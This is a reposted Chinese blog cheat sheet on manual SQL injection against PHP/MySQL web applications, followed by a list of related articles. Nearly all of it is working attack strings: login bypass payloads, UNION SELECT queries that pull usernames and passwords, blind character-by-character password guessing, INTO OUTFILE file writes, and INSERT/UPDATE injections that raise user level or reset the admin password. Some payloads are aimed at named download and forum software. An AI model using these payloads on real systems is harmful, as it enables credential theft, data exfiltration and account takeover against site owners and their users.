手动注入PHP

简介:
 or 1=1 
' or '1=1 
'/* 
'%23 
' and password='mypass 
id=-1 union select 1,1,1 
id=-1 union select char(97),char(97),char(97) 
id=1 union select 1,1,1 from members 
id=1 union select 1,1,1 from admin 
id=1 union select 1,1,1 from user 
userid=1 and password=mypass 
userid=1 and mid(password,3,1)=char(112) 
userid=1 and mid(password,4,1)=char(97) 
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的) 
' and LENGTH(password)='6(探测密码长度) 
' and LEFT(password,1)='m 
' and LEFT(password,2)='my 
…………………………依次类推 
' union select 1,username,password from user/* 
' union select 1,username,password from user/* 
=' union select 1,username,password from user/* (可以是1或者=后直接跟) 
99999' union select 1,username,password from user/* 
' into outfile 'c:/file.txt (导出文件) 
=' or 1=1 into outfile 'c:/file.txt 
1' union select 1,username,password from user into outfile 'c:/user.txt 
SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt' 
id=' union select 1,username,password from user into outfile 
id=-1 union select 1,database(),version() (灵活应用查询) 
常用查询测试语句, 
SELECT * FROM table WHERE 1=1 
SELECT * FROM table WHERE 'uuu'='uuu' 
SELECT * FROM table WHERE 1<>2 
SELECT * FROM table WHERE 3>2 
SELECT * FROM table WHERE 2<3 
SELECT * FROM table WHERE 1 
SELECT * FROM table WHERE 1+1 
SELECT * FROM table WHERE 1--1 
SELECT * FROM table WHERE ISNULL(NULL) 
SELECT * FROM table WHERE ISNULL(COT(0)) 
SELECT * FROM table WHERE 1 IS NOT NULL 
SELECT * FROM table WHERE NULL IS NULL 
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3 
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c' 
SELECT * FROM table WHERE 2 IN (0,1,2) 
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END 

例如:夜猫下载系统1.0版本 
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位) 
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 
………………………………………………………… 

例如2:灰色轨迹 变换id进行测试(meteor) 
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate 
union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20eventdate 
构造语句: 
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 
SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) 
UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid%20=%205)%20order%20by%20eventdate 
UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user%20WHERE%20userid=13465)%20order%20by%20eventdate 
UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20WHERE%20username='sandflee')%20order%20by%20eventdate (查沙子的id) 



(SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10) 
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……(字段和数据库相同情况下,可直接提交) 
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……(不同的情况下) 

特殊技巧:在表单,搜索引擎等地方写: 
“___” 
“.__ ” 
“% 
%' ORDER BY articleid/* 
%' ORDER BY articleid# 
__' ORDER BY articleid/* 
__' ORDER BY articleid# 

$command = "dir c:\";system($command); 
SELECT * FROM article WHERE articleid='$id' 
SELECT * FROM article WHERE articleid=$id 
1' and 1=2 union select * from user where userid=1/* 句中变为 
(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*') 
1 and 1=2 union select * from user where userid=1 

语句形式:建立一个库,插入: 
CREATE DATABASE `injection` 
CREATE TABLE `user` ( 
`userid` int(11) NOT NULL auto_increment, 
`username` varchar(20) NOT NULL default '', 
`password` varchar(20) NOT NULL default '', 
PRIMARY KEY (`userid`) 
) ; 
INSERT INTO `user` VALUES (1, 'swap', 'mypass'); 


插如一个注册用户: 
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 
“INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; 
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') 
"INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; 
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email='' 
"INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' 
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 
"UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'"; 
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]' 
"UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; 

长用函数: 
DATABASE() 
USER() 
SYSTEM_USER() 
SESSION_USER() 
CURRENT_USER() 
比如: 
UPDATE article SET title=$title WHERE articleid=1 对应函数 
UPDATE article SET title=DATABASE() WHERE id=1 
#把当前数据库名更新到title字段 
UPDATE article SET title=USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=SYSTEM_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=SESSION_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段 
UPDATE article SET title=CURRENT_USER() WHERE id=1 
#把当前会话被验证匹配的用户名更新到title字段 

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name"; 
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name 
SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name 
SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a' (经典) 
SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password='' 
SELECT * FROM table WHERE msg LIKE '%hop' 
SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password='' 

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

















本文转自loveme2351CTO博客,原文链接: http://blog.51cto.com/loveme23/8613,如需转载请自行联系原作者


相关文章
|
7月前
|
SQL 安全 PHP
理解php对象注入
php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。
|
7月前
|
SQL 安全 PHP
PHP 什么是SQL注入,如何防止SQL注入,不防止会怎样(SQL注入详解)
PHP 什么是SQL注入,如何防止SQL注入,不防止会怎样(SQL注入详解)
152 0
|
10月前
|
SQL 安全 JavaScript
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
跨站脚本攻击 (XSS)和SQL注入漏洞php排查解决方案
126 0
|
12月前
|
SQL 监控 关系型数据库
PHP审计-SQL注入技巧
PHP审计-SQL注入技巧
|
SQL JavaScript 安全
php操作mysql防止sql注入(合集)
php操作mysql防止sql注入(合集)
324 0
|
SQL PHP 数据库
php如何预防sql注入
php如何预防sql注入
106 0
php如何预防sql注入
|
SQL 算法 安全
php网站漏洞检测对sql注入漏洞防护
近日,我们SINE安全对metinfo进行网站安全检测发现,metinfo米拓建站系统存在高危的sql注入漏洞,攻击者可以利用该漏洞对网站的代码进行sql注入攻击,伪造恶意的sql非法语句,对网站的数据库,以及后端服务器进行攻击,该metinfo漏洞影响版本较为广泛,metinfo6.1.0版本,metinfo 6.1.3版本,metinfo 6.2.0都会受到该网站漏洞的攻击。
2076 0
|
SQL 关系型数据库 PHP
php+mysql实现二次注入
参考文献:https://www.jianshu.com/p/3fe7904683ac 环境 wampserver2.5-Apache-2.4.9-Mysql-5.6.17-php5.5.12-32b PS:我只有这个版本的wamp环境可以成功的实现二次注入,在phpstudy的版本中都自带的有转义,若是在插入数据的时候再加上转义那么存到数据库中的脏数据也都被转义了。
1402 0
|
Web App开发 SQL PHP
PHP获取IP地址的方法,防止伪造IP地址注入攻击
原文:PHP获取IP地址的方法,防止伪造IP地址注入攻击 PHP获取IP地址的方法 /** * 获取客户端IP地址 * 来源:ThinkPHP * "X-FORWARDED-FOR" 是代理服务器通过 HTTP Headers 提供的客户端IP。
2033 0